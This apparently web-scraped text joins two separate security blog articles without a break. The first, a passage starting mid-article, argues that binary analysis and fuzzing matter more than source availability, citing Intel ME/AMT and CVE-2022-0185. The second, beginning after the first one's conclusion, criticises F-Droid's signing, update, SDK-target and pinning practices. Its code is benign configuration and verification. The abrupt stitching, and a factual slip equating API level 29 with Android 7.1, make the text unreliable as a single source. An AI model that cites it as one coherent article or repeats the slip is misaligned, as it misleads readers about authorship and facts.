I picked Intel ME+AMT to serve as an extreme example: it shows both the power and limitations of the analysis approaches covered. ME isn’t made of simple executables you can just run in an OS because it sits far below the OS, in what’s sometimes called “Ring -3”.¹⁰ Analysis is limited to external monitoring (e.g. by monitoring network activity) and reverse-engineering unpacked partially-obfuscated firmware updates, with help from official documentation. This is slower and harder than analyzing a typical executable or library.

Answers are a bit complex and…more boring than what sensationalized headlines would say. Igor Skochinsky (the developer of me-tools) and Nicola Corna (the developer of me_cleaner) presented their analysis of ME in Intel Me: Myths and Reality; Vassilios Ververis thoroughly analyzed AMT in Security Evaluation of Intel’s Active Management Technology. Interestingly, the former pair argues that auditing binary code is preferable to potentially misleading source code: binary analysis allows auditors to “cut the crap” and inspect what software is truly made of. However, this was balanced by a form of binary obfuscation that the pair encountered; I’ll describe it in a moment.

Simply monitoring network activity and systematically testing all claims made by the documentation allowed Ververis to uncover a host of security issues in Intel AMT. However, no undocumented features have (to my knowledge) been uncovered. The problematic findings revolved around flawed/insecure implementations of documented functionality. In other words: there’s been no evidence of AMT being “a backdoor”, but its security flaws could have had a similar impact. Fortunately, AMT can be disabled. What about ME?

This is where some binary analysis comes in. Neither Skochinsky’s ME Secrets presentation nor Intel Me: Myths and Reality seem to enumerate any contradictions with official Intel documentation.

Unfortunately, some components are poorly understood due to being obfuscated using Huffman compression with unknown dictionaries. Understanding the inner workings of the obfuscated components blurs the line between software reverse-engineering and figuring out how the chips are actually made, the latter of which is nigh-impossible if you don’t have access to a chip lab full of cash. However, black-box analysis does tell us about the capabilities of these components: see page 21 of “ME Secrets”. Thanks to zdctg for clarifying this.

Skochinsky’s and Corna’s analysis was sufficient to clarify (but not completely contradict) sensationalism claiming that ME can remotely lock any PC (it was a former opt-in feature), can spy on anything the user does (they clarified that access is limited to unblocked parts of the host memory and the integrated GPU, but doesn’t include e.g. the framebuffer), etc.

While claims such as “ME is a black box that can do anything” are misleading, ME is not without its share of vulnerabilities. My favorite look at its issues is a presentation by Mark Ermolov and Maxim Goryachy at Black Hat Europe 2017: How to Hack a Turned-Off Computer, or Running Unsigned Code in Intel Management Engine.

In short: ME being proprietary doesn’t mean that we can’t find out how (in)secure it is. Binary analysis when paired with runtime inspection can give us a good understanding of what trade-offs we make by using it. While ME has a history of serious vulnerabilities, they’re nowhere near what borderline conspiracy theories claim.¹¹

(Note: Intel is not alone here. Other chips typically have equivalents, e.g. AMD Secure Technology).

Fuzzing

Manual invocation of a program paired with a tracer like strace won’t always exercise all code paths or find edge-cases. Fuzzing helps bridge this gap: it automates the process of causing a program to fail by generating random or malformed data to feed it. Researchers then study failures and failure-conditions to isolate a bug.

Fuzzing doesn’t necessarily depend on access to source code, as it is a black-box technique. Fuzzers like American Fuzzy Loop (AFL) normally use special fuzz-friendly builds, but other fuzzing setups can work with just about any binaries. In fact, some types of fuzz tests (e.g. fuzzing a web API) hardly need any implementation details.

Fuzzing frequently catches bugs that are only apparent by running a program, not by reading source code. Even so, the biggest beneficiaries of fuzzing are open source projects. cURL, OpenSSL, web browsers, text rendering libraries (HarfBuzz, FreeType) and toolchains (GCC, Clang, the official Go toolchain, etc.) are some notable examples.

I’ve said it before but let me say it again: fuzzing is really the top method to find problems in curl once we’ve fixed all flaws that the static analyzers we use have pointed out. The primary fuzzing for curl is done by OSS-Fuzz, that tirelessly keeps hammering on the most recent curl code.

• Daniel Stenberg | A Google grant for libcurl work

If you want to get started with fuzzing, I recommend checking out the quick-start guide for American Fuzzy Loop. Some languages like Go 1.18 also have fuzzing tools available right in the standard library.

Example: CVE-2022-0185

A recent example of how fuzzing helps spot a vulnerability in an open-source project is CVE-2022-0185: a Linux 0-day found by the Crusaders of Rust a few weeks ago. It was discovered using the syzkaller kernel fuzzer. The process was documented on Will’s Root:

CVE-2022-0185 - Winning a $31337 Bounty after Pwning Ubuntu and Escaping Google’s KCTF Containers by willsroot

I highly encourage giving it a read; it’s the perfect example of fuzzing with sanitizers to find a vulnerability, reproducing the vulnerability (by writing a tiny C program), then diving into the source code to find and fix the cause, and finally reporting the issue (with a patch!). When source isn’t available, the vendor would assume responsibility for the “find and fix” steps.

The fact that some of the most-used pieces of FLOSS in existence have been the biggest beneficiaries of source-agnostic approaches to vulnerability analysis should be quite revealing. The source code to these projects has received attention from millions of eyes, yet they still invest in fuzzing infrastructure and vulnerability-hunters prefer analyzing artifacts over inspecting the source.

Good counter-arguments

I readily concede to several points in favor of source availability from a security perspective:

• Source code can make analysis easier by supplementing source-independent approaches. The lines between the steps I mentioned in the four-step vulnerability-fixing process are blurry.

• Patching vulnerabilities is important. Source availability makes it possible for the community, package maintainers, or reporters of a vulnerability to patch software. Package maintainers often blur the line between “packager” and “contributor” by helping projects migrate away from abandoned/insecure dependencies. One example that comes to mind is the Python 2 to Python 3 transition for projects like Calibre.¹² Being able to fix issues independent of upstream support is an important mitigation against user domestication.

• Some developers/vendors don’t distribute binaries that make use of modern toolchain-level exploit mitigations (e.g. PIE, RELRO, stack canaries, automatic variable initialization, CFI, etc.¹³). In these cases, building software yourself with these mitigations (or delegating it to a distro that enforces them) requires source code availability (or at least some sort of intermediate representation).

• Closed-source software may or may not have builds available that include sanitizers and debug symbols.

• Although fuzzing release binaries is possible, fuzzing is much easier to do when source code is available. Vendors of proprietary software seldom release special fuzz-friendly builds, and filtering out false-positives can be quite tedious without understanding high-level design.

• It is certainly possible to notice a vulnerability in source code. Excluding low-hanging fruit typically caught by static code analysis and peer review, it’s not the main way most vulnerabilities are found nowadays (thanks to X_CLI for reminding me about what source analysis does accomplish.

• Software as a Service can be incredibly difficult to analyze, as we typically have little more than the ability to query a server. Servers don’t send core dumps, server-side binaries, or trace logs for analysis. Furthermore, it’s difficult to verify which software a server is running.¹⁴ For services that require trusting a server, access to the server-side software is important from both a security and a user-freedom perspective

Most of this post is written with the assumption that binaries are inspectable and traceable. Binary obfuscation and some forms of content protection/DRM violate this assumption and actually do make analysis more difficult.

Beyond source code, transparency into the development helps assure users of compliance with good security practices. Viewing VCS history, patch reviews, linter configurations, etc. reveal the standards that code is being held up to, some of which can be related to bug-squashing and security.

Patience on Matrix also had a great response, which I agree with and adapt below:

Whether or not the source code is available for software does not change how insecure it is. However, there are good security-related incentives to publish source code.

• Doing so improves vulnerability patchability and future architectural improvement by lowering the barrier to contribution. The fixes that follow can be shared and used by other projects across the field, some of which can in turn be used by the vendor. This isn’t a zero-sum game; a rising tide lifts all boats.
• It’s generally good practice to assume an attacker has full knowledge of a system instead of relying on security through obscurity. Releasing code provides strong assurance that this assumption is being made. It’s a way for vendors to put their money where their mouth is.

Both Patience and Drew Vault argue that given the above points, a project whose goal is maximum security would release code. Strictly speaking, I agree. Good intentions don’t imply good results, but they can supplement good results to provide some trust in a project’s future.

Conclusion

I’ve gone over some examples of how analyzing a software’s security properties need not depend on source code, and vulnerability discovery in both FLOSS and in proprietary software uses source-agnostic techniques. Dynamic and static black-box techniques are powerful tools that work well from user-space (Zoom) to kernel-space (Linux) to low-level components like Intel ME+AMT. Source code enables the vulnerability-fixing process but has limited utility for the evaluation/discovery process.

Don’t assume software is safer than proprietary alternatives just because its source is visible; come to a conclusion after analyzing both. There are lots of great reasons to switch from macOS or Windows to Linux (it’s been my main OS for years), but security is low on that list.

All other things being mostly equal, FLOSS is obviously preferable from a security perspective; I listed some reasons why in the counter-arguments section. Unfortunately, being helpful is not the same as being necessary. All I argue is that source unavailability does not imply insecurity, and source availability does not imply security. Analysis approaches that don’t rely on source are typically the most powerful, and can be applied to both source-available and source-unavailable software. Plenty of proprietary software is more secure than FLOSS alternatives; few would argue that the sandboxing employed by Google Chrome or Microsoft Edge is more vulnerable than Pale Moon or most WebKitGTK-based browsers, for instance.

Releasing source code is just one thing vendors can do to improve audits; other options include releasing test builds with debug symbols/sanitizers, publishing docs describing their architecture, and/or just keeping software small and simple. We should evaluate software security through study rather than source model. Support the right things for the right reasons, and help others make informed choices with accurate information. There are enough good reasons to support software freedom; we don’t need to rely on bad ones.

Before we start, a few things to keep in mind:

• The main goal of this write-up was to inform users so they can make responsible choices, not to trash someone else’s work. I have respect for any work done in the name of good intentions. Likewise, please don’t misinterpret the intentions of this article.
• You have your own reasons for using open-source or free/libre/whatever software which won’t be discussed here. A development model shouldn’t be an excuse for bad practices and shouldn’t lure you into believing that it can provide strong guarantees it cannot.
• A lot of information in this article is sourced from official and trusted sources, but you’re welcome to do your own research.
• These analyses do not account for threat models and personal preferences. As the author of this article, I’m only interested in facts and not ideologies.

This is not an in-depth security review, nor is it exhaustive.

1. The trusted party problem

To understand why this is a problem, you’ll have to understand a bit about F-Droid’s architecture, the things it does very differently from other app repositories, and the Android platform security model (some of the issues listed in this article are somewhat out of the scope of the OS security model, but the majority is).

Unlike other repositories, F-Droid signs all the apps in the main repository with its own signing keys (unique per app) at the exception of the very few reproducible builds. A signature is a mathematical scheme that guarantees the authenticity of the applications you download. Upon the installation of an app, Android pins the signature across the entire OS (including user profiles): that’s what we call a trust-on-first-use model since all subsequent updates of the app must have the corresponding signature to be installed.

Normally, the developer is supposed to sign their own app prior to its upload on a distribution channel, whether that is a website or a traditional repository (or both). You don’t have to trust the source (usually recommended by the developer) except for the first installation: future updates will have their authenticity cryptographically guaranteed. The issue with F-Droid is that all apps are signed by the same party (F-Droid) which is also not the developer. You’re now adding another party you’ll have to trust since you still have to trust the developer anyway, which isn’t ideal: the fewer parties, the better.

On the other hand, Play Store now manages the app signing keys too, as Play App Signing is required for app bundles which are required for new apps since August 2021. These signing keys can be uploaded or automatically generated, and are securely stored by Google Cloud Key Management Service. It should be noted that the developer still has to sign the app with an upload key so that Google can verify its authenticity before signing it with the app signing key. For apps created before August 2021 that may have not opted in Play App Signing yet, the developer still manages the private key and is responsible for its security, as a compromised private key can allow a third party to sign and distribute malicious code.

F-Droid requires that the source code of the app is exempt from any proprietary library or ad service, according to their inclusion policy. Usually, that means that some developers will have to maintain a slightly different version of their codebase that should comply with F-Droid’s requirements. Besides, their “quality control” offers close to no guarantees as having access to the source code doesn’t mean it can be easily proofread. Saying Play Store is filled with malicious apps is beyond the point: the false sense of security is a real issue. Users should not think of the F-Droid main repository as free of malicious apps, yet unfortunately many are inclined to believe this.

But… can’t I just trust F-Droid and be done with it?

You don’t have to take my word for it: they openly admit themselves it’s a very basic process relying on badness enumeration (this doesn’t work by the way) which consists in a few scripts scanning the code for proprietary blobs and known trackers. You are therefore not exempted from trusting upstream developers and it goes for any repository.

A tempting idea would be to compare F-Droid to the desktop Linux model where users trust their distribution maintainers out-of-the-box (this can be sane if you’re already trusting the OS anyway), but the desktop platform is intrinsically chaotic and heterogeneous for better and for worse. It really shouldn’t be compared to the Android platform in any way.

While we’ve seen that F-Droid controls the signing servers (much like Play App Signing), F-Droid also fully controls the build servers that run the disposable VMs used for building apps. And from June to November of 2022, their guest VM image officially ran an end-of-life release of Debian LTS. It is also worth noting that Debian LTS separate project from Debian which attempts to extend the lifetime of releases that are deemed end-of-life by the Debian project and does not get handled by the Debian Security team. The version they were using (Debian Stretch) was actually discontinued 2 years prior. Undoubtedly, this raises questions about their whole infrastructure security.

How can you be sure that the app repository can be held to account for the code it delivers?

F-Droid’s answer, interesting yet largely unused, is build reproducibility. While deterministic builds are a neat idea in theory, it requires the developer to make their toolchain match with what F-Droid provides. It’s additional work on both ends sometimes resulting in apps severely lagging behind in updates, so reproducible builds are not as common as we would have wanted. It should be noted that reproducible builds in the main repository can be exclusively developer-signed.

Google’s approach is code transparency for app bundles, which is a simple idea addressing some of the concerns with Play App Signing. A JSON Web Token (JWT) signed by a key private to the developer is included in the app bundle before its upload to Play Store. This token contains a list of DEX files and native .so libraries and their hashes, allowing end-users to verify that the running code was built and signed by the app developer. Code transparency has known limitations, however: not all resources can be verified, and this verification can only be done manually since it’s not part of the Android platform itself (so requiring a code transparency file cannot be enforced by the OS right now). Despite its incompleteness, code transparency is still helpful, easy to implement, and thus something we should see more often as time goes by.

What about other app repositories such as Amazon?

To my current knowledge, the Amazon Appstore has always been wrapping APKs with their own code (including their own trackers), and this means they were effectively resigning submitted APKs.

If you understood correctly the information above, Google can’t do this for apps that haven’t opted in Play App Signing. As for apps concerned by Play App Signing, while Google could technically introduce their own code like Amazon, they wouldn’t do that without telling about it since this will be easily noticeable by the developer and more globally researchers. They have other means on the Android app development platform to do so. Believing they won’t do that based on this principle is not a strong guarantee, however: hence the above paragraph about code transparency for app bundles.

Huawei AppGallery seems to have a similar approach to Google, where submitted apps could be developer-signed, but newer apps will be resigned by Huawei.

2. F-Droid’s ridiculous inclusion policy and its consequences

F-Droid, to carry out its “passion for Free and Open Source Software (FOSS) on the Android platform”, requires that developers adhere to a strict inclusion policy for their app(s) to be hosted on the main repository. According to this policy, F-Droid requires the source code of an app to exclude any proprietary library or ad service. This stringent mandate has proven to be harmful to developers and even end users.

As a result of F-Droid’s inclusion policy, usually, some developers usually have to maintain a slightly different version of their codebase for their app to comply with F-Droid’s requirements. For developers, this means not only spending more time and energy, but also, in some cases, working with libraries and components that may be outdated. Sometimes, the restrictions imposed by F-Droid’s inclusion policy have a knock-on effect on end users as well, as demonstrated in the following case with Snikket.

In December 2022, the Snikket project published a blog post that addressed the users of their app who downloaded it from F-Droid. It sought to allay any panic from users if they receive a warning from F-Droid “telling them that the app [Snikket] has a vulnerability and that they ‘recommend uninstalling immediately’”. In a subsequent blog post, Snikket clarified that this warning from F-Droid “wasn’t entirely accurate, as the problem wasn’t with the Snikket app itself but specifically F-Droid’s own build of the app that was using an outdated version of the WebRTC library” (emphasis added).

Indeed, as the first blog post by the Snikket project details, the WebRTC component of Snikket’s F-Droid version pulled third-party binaries from Google’s Maven repository (which stopped releasing new builds in January 2020), presumably to adhere to the parts of the inclusion policy that forbid the use of “Non-Free” dependencies and build tools. Note that the developer-signed versions of Snikket published on the Play Store were not affected by this issue, for they were built with a modern WebRTC version. Furthermore, the second blog post by Snikket reveals how the older third-party version of WebRTC used for their F-Droid app actually hindered the addition of new improvements to the app from upstream.

Overall, this case study highlights how F-Droid’s inclusion policy ultimately harms end users by forcing app developers to adopt potentially decrepit development tools and build processes in service of its regnant FOSS ideology.

3. Slow and irregular updates

Since you’re adding one more party to the mix, that party is now responsible for delivering proper builds of the app: it’s a common thing among traditional Linux distributions and their packaging system. They have to catch up with upstream on a regular basis, but very few do it well (Arch Linux comes to my mind). Others, like Debian, prefer making extensive downstream changes and delivering security fixes for a subset of vulnerabilities assigned to a CVE (yeah, it’s as bad as it sounds, but that’s another topic).

Not only does F-Droid require specific changes for the app to comply with its inclusion policy, which often leads to more maintenance work, it also has a rather strange way of triggering new builds. Part of its build process seems to be automated, which is the least you could expect. Now here’s the thing: app signing keys are on an air-gapped server (meaning it’s disconnected from any network, at least that’s what they claim: see their recommendations for reference), which forces an irregular update cycle where a human has to manually trigger the signing process. It is far from an ideal situation, and you may argue it’s the least to be expected since by entrusting all the signing keys to one party, you could also introduce a single point of failure. Should their system be compromised (whether from the inside or the outside), this could lead to serious security issues affecting plenty of users.

This is one of the main reasons why Signal refused to support the inclusion of a third-party build in the F-Droid official repository. While this GitHub issue is quite old, many points still hold true today.

Considering all this, and the fact that their build process is often broken using outdated tools, you have to expect far slower updates compared to a traditional distribution system. Slow updates mean that you will be exposed to security vulnerabilities more often than you should’ve been. It would be unwise to have a full browser updated through the F-Droid official repository, for instance. F-Droid third-party repositories somewhat mitigate the issue of slow updates since they can be managed directly by the developer. It isn’t ideal either as you will see below.

4. Low target API level (SDK) for client & apps

SDK stands for Software Development Kit and is the collection of software to build apps for a given platform. On Android, a higher SDK level means you’ll be able to make use of modern API levels of which each iteration brings security and privacy improvements. For instance, API level 31 makes use of all these improvements on Android 12.

As you may already know, Android has a strong sandboxing model where each application is sandboxed. You could say that an app compiled with the highest API level benefits from all the latest improvements brought to the app sandbox; as opposed to outdated apps compiled with older API levels, which have a weaker sandbox.

# b/35917228 - /proc/misc access
# This will go away in a future Android release
allow untrusted_app_25 proc_misc:file r_file_perms;

# Access to /proc/tty/drivers, to allow apps to determine if they
# are running in an emulated environment.
# b/33214085 b/33814662 b/33791054 b/33211769
# https://github.com/strazzere/anti-emulator/blob/master/AntiEmulator/src/diff/strazzere/anti/emulator/FindEmulator.java
# This will go away in a future Android release
allow untrusted_app_25 proc_tty_drivers:file r_file_perms;

This is a mere sample of the SELinux exceptions that have to be made on older API levels so that you can understand why it matters.

It turns out the official F-Droid client doesn’t care much about this since it lags behind quite a bit, targeting the API level 29 (Android 7.1) of which some SELinux exceptions were shown above. As a workaround, some users recommended third-party clients like Droid-ify or Neo Store. While these clients might be technically better, they’re missing features, pooly maintained, and they also introduce yet another party to the mix.

Furthermore, F-Droid doesn’t enforce a minimum target SDK for the official repository. Play Store does that quite aggressively for new apps and app updates:

• Since August 2021, Play Store requires new apps to target at least API level 30.
• Since November 2021, existing apps must at least target API level 30 for updates to be submitted.

While it may seem bothersome, it’s a necessity to keep the app ecosystem modern and healthy. Here, F-Droid sends the wrong message to developers (and even users) because they should care about it, and this is why many of us think it may be even harmful to the FOSS ecosystem. Backward compatibility is often the enemy of security, and while there’s a middle-ground for convenience and obsolescence, it shouldn’t be exaggerated. As a result of this philosophy, the main repository of F-Droid is filled with obsolete apps from another era, just for these apps to be able to run on the more than ten years old Android 4.0 Ice Cream Sandwich. Let’s not make the same mistake as the desktop platforms: instead, complain to your vendors for selling devices with no decent OS/firmware support.

There is little practical reason for developers not to increase the target SDK version (targetSdkVersion) along with each Android release. This attribute matches the version of the platform an app is targeting, and allows access to modern improvements, rules and features on a modern OS. The app can still ensure backwards compatibility in such a way that it can run on older platforms: the minSdkVersion attribute informs the system about the minimum API level required for the application to run. Setting it too low isn’t practical though, because this requires having a lot of fallback code (most of it is handled by common libraries) and separate code paths.

At the time of writing:

• Android 9 is the oldest Android version that is getting security updates.
• ~80% of the Android devices used in the world are at least running 8.0 Oreo.

Overall statistics do not reflect real-world usage of a given app (people using old devices are not necessarily using your app). If anything, it should be viewed as an underestimation.

5. General lack of good practices

The F-Droid client allows multiple repositories to coexist within the same app. Many of the issues highlighted above were focused on the main official repository which most of the F-Droid users will use anyway. However, having other repositories in a single app also violates the security model of Android which was not designed for this at all. The OS expects you to trust an app repository as a single source of apps, yet F-Droid isn’t that by design as it mixes several repositories in one single app. This is important because the OS management APIs and features (such as UserManager which can be used to prevent a user from installing third-party apps) are not meant for this and see F-Droid as a single source, so you’re trusting the app client to not mess up far more than you should, especially when the privileged extension comes into the picture.

There is indeed a serious security issue with the OS first-party source feature being misused, as the privileged extension makes use of the INSTALL_PACKAGES API in an insecure manner (i.e. not implementing it with the appropriate security checks). The privileged extension accepts any request from F-Droid, which again suffers from various bugs and security issues and allows user-defined repositories by design. A lot can go wrong, and bypassing security checks for powerful APIs should definitely not be taken lightly.

On that note, it is also worth noting the repository metadata format isn’t properly signed by lacking whole-file signing and key rotation. Their index v1 format uses JAR signing with jarsigner, which has serious security flaws. It seems that work is in progress on a v2 format with support for apksigner, although the final implementation remains to be seen. This just seems to be an over-engineered and flawed approach since better suited tools such as signify could be used to sign the metadata JSON.

As a matter of fact, the new unattended update API added in API level 31 (Android 12) that allows seamless app updates for app repositories without privileged access to the system (such an approach is not compatible with the security model) won’t work with F-Droid “as is”. It should be mentioned that the aforementioned third-party client Neo-Store supports this API, although the underlying issues about the F-Droid infrastructure largely remain. Indeed, this secure API allowing for unprivileged unattended updates not only requires for the app repository client to target API level 31, but the apps to be updated also have to at least target API level 29.

F-Droid’s official client also lacks TLS certificate pinning. Certificate pinning is a way for apps to increase the security of their connection to services by providing a set of public key hashes of known-good certificates for these services instead of trusting pre-installed CAs. This can avoid some cases where an interception (man-in-the-middle attack) could be possible and lead to various security issues, considering you’re trusting an app to deliver you other apps.

Certificate pinning is an important security feature that is also straightforward to implement using the declarative network security configuration available since Android 7.0 (API level 24). The GrapheneOS App Store uses this feature; see how GrapheneOS pins both root and CA certificates in their app repository client:

<!-- res/xml/network_security_config.xml -->
<network-security-config>
    <base-config cleartextTrafficPermitted="false"/>
    <domain-config>
        <domain includeSubdomains="true">apps.grapheneos.org</domain>
        <pin-set>
            <!-- ISRG Root X1 -->
            <pin digest="SHA-256">C5+lpZ7tcVwmwQIMcRtPbsQtWLABXhQzejna0wHFr8M=</pin>
            <!-- ISRG Root X2 -->
            <pin digest="SHA-256">diGVwiVYbubAI3RW4hB9xU8e/CH2GnkuvVFZE8zmgzI=</pin>
            <!-- Let's Encrypt R3 -->
            <pin digest="SHA-256">jQJTbIh0grw0/1TkHSumWb+Fs0Ggogr621gT3PvPKG0=</pin>
            <!-- Let's Encrypt E1 -->
            <pin digest="SHA-256">J2/oqMTsdhFWW/n85tys6b4yDBtb6idZayIEBx7QTxA=</pin>
            ...
        </pin-set>
    </domain-config>
</network-security-config>

The Play Store does not use certificate pinning exactly, but achieves a similar level of security for all connections to Google by using a limited set of root CAs, including their own). This practice, alongside the Play Store’s use of package signing and properly signed metadata, guarantees that the apps you download from the Play Store are genuine and delivered securely. F-Droid does not provide the same guarantee.

To be fair, they’ve thought several times about adding certificate pinning to their client at least for the default repositories. Relics of preliminary work can even be found in their current codebase, but it’s unfortunate that they haven’t been able to find any working implementation so far. Given the overly complex nature of F-Droid, that’s largely understandable.

F-Droid also has a problem regarding the adoption of new signature schemes as they held out on the v1 signature scheme (which was horrible and deprecated since 2017) until they were forced by Android 11 requirements to support the newer v2/v3 schemes (v2 was introduced in Android 7.0). Quite frankly, this is straight-up bad, and signing APKs with GPG is no better considering how bad PGP and its reference implementation GPG are (even Debian is trying to move away from it). Ideally, F-Droid should fully move on to newer signature schemes, and should completely phase out the legacy signature schemes which are still being used for some apps and metadata.

6. Confusing UX

It is worth mentioning that their website has (for some reason) always been hosting an outdated APK of F-Droid, and this is still the case today, leading to many users wondering why they can’t install F-Droid on their secondary user profile (due to the downgrade prevention enforced by Android). “Stability” seems to be the main reason mentioned on their part, which doesn’t make sense: either your version isn’t ready to be published in a stable channel, or it is and new users should be able to access it easily.

F-Droid should enforce the approach of prefixing the package name of their alternate builds with org.f-droid for instance (or add a .fdroid suffix as some already have). Building and signing while reusing the package name (application ID) is bad practice as it causes signature verification errors when some users try to update/install these apps from other sources, even directly from the developer. That is again due to the security model of Android which enforces a signature check when installing app updates (or installing them again in a secondary user profile). Note that this is going to be an issue with Play App Signing as well, and developers are encouraged to follow this approach should they intend to distribute their apps through different distribution channels.

This results in a confusing user experience where it’s hard to keep track of who signs each app, and from which repository the app should be downloaded or updated.

7. Misleading permissions approach

F-Droid shows a list of the low-level permissions for each app: these low-level permissions are usually grouped in the standard high-level permissions (Location, Microphone, Camera, etc.) and special toggles (nearby Wi-Fi networks, Bluetooth devices, etc.) that are explicitly based on a type of sensitive data. While showing a list of low-level permissions could be useful information for a developer, it’s often a misleading and inaccurate approach for the end-user. Since Android 6, apps have to request the standard permissions at runtime and do not get them simply by being installed, so showing all the “under the hood” permissions without proper context is not useful and makes the permission model unnecessarily confusing.

F-Droid claims that these low-level permissions are relevant because they support Android 5.1+, meaning they support very outdated versions of Android where apps could have install-time permissions. Anyway, if a technical user wants to see all the manifest permissions for some reason, then they can access the app manifest pretty easily (in fact, exposing the raw manifest would be less misleading). But this is already beyond the scope of this article because anyone who cares about privacy and security wouldn’t run a 8 years old version of Android that has not received security updates for years.

A discussion about this took place on F-Droid’s GitLab repository. In short, F-Droid downplayed the issue with their misleading permission labels, and their lead developer proceeded to call the Android permission model a “dumpster fire” and claim that the operating system cannot sandbox untrusted apps while still remaining useful.

To clear up confusion: even apps targeting an API level below 23 (Android 5.1 or older) do not have permissions granted at install time on modern Android, which instead displays a legacy permission grant dialog. Whether or not permissions are granted at install time does not just depend on the app’s targetSdkVersion. And even if this were the case, the OS package installer on modern Android would’ve been designed to show the requested permissions for those legacy apps.

For example, the low-level permission RECEIVE_BOOT_COMPLETED is referred to in F-Droid as the run at startup description, when in fact this permission is not needed to start at boot and just refers to a specific time broadcasted by the system once it finishes booting, and is not about background usage (though power usage may be a valid concern). To be fair, these short summaries used to be provided by the Android documentation years ago, but the permission model has drastically evolved since then and most of them aren’t accurate anymore.

Allows the app to have itself started as soon as the system has finished booting. This can make it take longer to start the phone and allow the app to slow down the overall phone by always running.

In modern Android, the background restriction toggle is what really provides the ability for apps to run in the background. Some low-level permissions don’t even have a security/privacy impact and shouldn’t be misinterpreted as having one. Anyhow, you can be sure that each dangerous low-level permission has a high-level representation that is disabled by default and needs to be granted dynamically to the app (by a toggle or explicit user consent in general).

Another example to illustrate the shortcomings of this approach would be the QUERY_ALL_PACKAGES low-level permission, which is referred to as the query all packages permission that “allows an app to see all installed packages”. While this is somewhat correct, this can also be misleading: apps do not need QUERY_ALL_PACKAGES to list other apps within the same user profile. Even without this permission, some apps are visible automatically (visibility is restricted by default since Android 11). If an app needs more visibility, it will declare a <queries> element in its manifest file: in other words, QUERY_ALL_PACKAGES is only one way to achieve visibility. Again, this goes to show low-level manifest permissions are not intended to be interpreted as high-level permissions the user should fully comprehend.

Play Store for instance conveys the permissions in a way less misleading way: the main low-level permissions are first grouped in their high-level user-facing toggles, and the rest is shown under “Other”. This permission list can only be accessed by taping “About this app” then “App permissions - See more” at the bottom of the page. Play Store will tell the app may request access to the following permissions: this kind of wording is more important than it seems. Update: since July 2022, Play Store doesn’t offer a way to display low-level permissions anymore.

Moreover, Play Store restricts the use of highly invasive permissions such as MANAGE_EXTERNAL_STORAGE which allows apps to opt out of scoped storage if they can’t work with more privacy friendly approaches (like a file explorer). Apps that can’t justify their use of this permission (which again has to be granted dynamically) may be removed from Play Store. This is where an app repository can actually be useful in their review process to protect end-users from installing poorly made apps that might compromise their privacy. Not that it matters much if these apps target very old API levels that are inclined to require invasive permissions in the first place…

Conclusion: what should you do?

So far, you have been presented with referenced facts that are easily verifiable. In the next part, I’ll allow myself to express my own thoughts and opinions. You’re free to disagree with them, but don’t let that overshadow the rest.

While some improvements could easily be made, I don’t think F-Droid is in an ideal situation to solve all of these issues because some of them are inherent flaws in their architecture. I’d also argue that their core philosophy is not aligned with some security principles expressed in this article. In any case, I can only wish for them to improve since they’re one of the most popular alternatives to commercial app repositories, and are therefore trusted by a large userbase.

F-Droid is often seen as the only way to get and support open-source apps: that is not the case. Sure, F-Droid could help you in finding FOSS apps that you wouldn’t otherwise have known existed. Many developers also publish their FOSS apps on the Play Store or their website directly. Most of the time, releases are available on GitHub, which is great since each GitHub releases page has an Atom feed. If downloading APKs from regular websites, you can use apksigner to validate the authenticity by comparing the certificate fingerprint against the fingerprint from another source (it wouldn’t matter otherwise).

This is how you may proceed to get the app certificate:

apksigner verify --print-certs --verbose myCoolApp.apk

Also, as written above: the OS pins the app signature (for all profiles) upon installation, and enforces signature check for app updates. In practice, this means the source doesn’t matter as much after the initial installation.

For most people, I’d recommend just sticking with Play Store. Play Store isn’t quite flawless, but emphasises the adoption of modern security standards which in turn encourages better privacy practices; as strange as it may sound, Google is not always doing bad things in that regard.

Note: this article obviously can’t address all the flaws related to Play Store itself. Again, the main topic of this article is about F-Droid and should not be seen as an exhaustive comparison between different app repositories.

Should I really care?

It’s up to your threat model, and of course your personal preferences. Most likely, your phone won’t turn into a nuclear weapon if you install F-Droid on it - and this is far from the point that this article is trying to make. Still, I believe the information presented will be valuable for anyone who values a practical approach to privacy (rather than an ideological one). Such an approach is partially described below.

But there is more malware in Play Store! How can you say that it’s more secure?

As explained above, it doesn’t matter as you shouldn’t really rely on any quality control to be the sole guarantee that a software is free of malicious or exploitable code. Play Store and even the Apple App Store may have a considerable amount of malware because a full reverse-engineering of any uploaded app isn’t feasible realistically. However, they fulfill their role quite well, and that is all that is expected of them.

With Play App Signing being effectively enforced for new apps, isn’t Play Store as “flawed” as F-Droid?

I’ve seen this comment repeatedly, and it would be dismissing all the other points made in this article. Also, I strongly suggest that you carefully read the sections related to Play App Signing, and preferably the official documentation on this matter. It’s not a black and white question and there are many more nuances to it.

Aren’t open-source apps more secure? Doesn’t it make F-Droid safer?

You can still find and get your open-source apps elsewhere. And no, open-source apps aren’t necessarily more private or secure. Instead, you should rely on the strong security and privacy guarantees provided by a modern operating system with a robust sandboxing/permission model, namely modern Android, GrapheneOS and iOS. Pay close attention to the permissions you grant, and avoid legacy apps as they could require invasive permissions to run.

When it comes to trackers (this really comes up a lot), you shouldn’t believe in the flawed idea that you can enumerate all of them. The enumerating badness approach is known to be flawed in the security field, and the same applies to privacy. You shouldn’t believe that a random script can detect every single line of code that can be used for data exfiltration. Data exfiltration can be properly prevented in the first place by the permission model, which again denies access to sensitive data by default: this is a simple, yet rigorous and effective approach.

No app should be unnecessarily entrusted with any kind of permission. It is only if you deem it necessary that you should allow access to a type of data, and this access should be as fine-grained as possible. That’s the way the Android platform works (regular apps run in the explicit untrusted_app domain) and continues evolving. Contrary to some popular beliefs, usability and most productivity tasks can still be achieved in a secure and private way.

Isn’t Google evil? Isn’t Play Store spyware?

Some people tend to exaggerate the importance of Google in their threat model, at the cost of pragmatism and security/privacy good practices. Play Store isn’t spyware and can run unprivileged like it does on GrapheneOS (including with unattended updates support). On the vast majority of devices though, Google Play is a privileged app and a core part of the OS that provides low-level system modules. In that case, the trust issues involved with Play App Signing could be considered less important since Google Play is already trusted as a privileged component.

Play Store evidently has some privacy issues given it’s a proprietary service which requires an account (this cannot be circumvented), and Google services have a history of nagging users to enable privacy-invasive features. Again, some of these privacy issues can be mitigated by setting up the Play services compatibility layer from GrapheneOS which runs Play services and Play Store in the regular app sandbox (the untrusted_app domain). This solution could very well be ported to other Android-based operating systems. If you want to go further, consider using a properly configured account with the least amount of personally indentifiable information possible (note that the phone number requirement appears to be region-dependent).

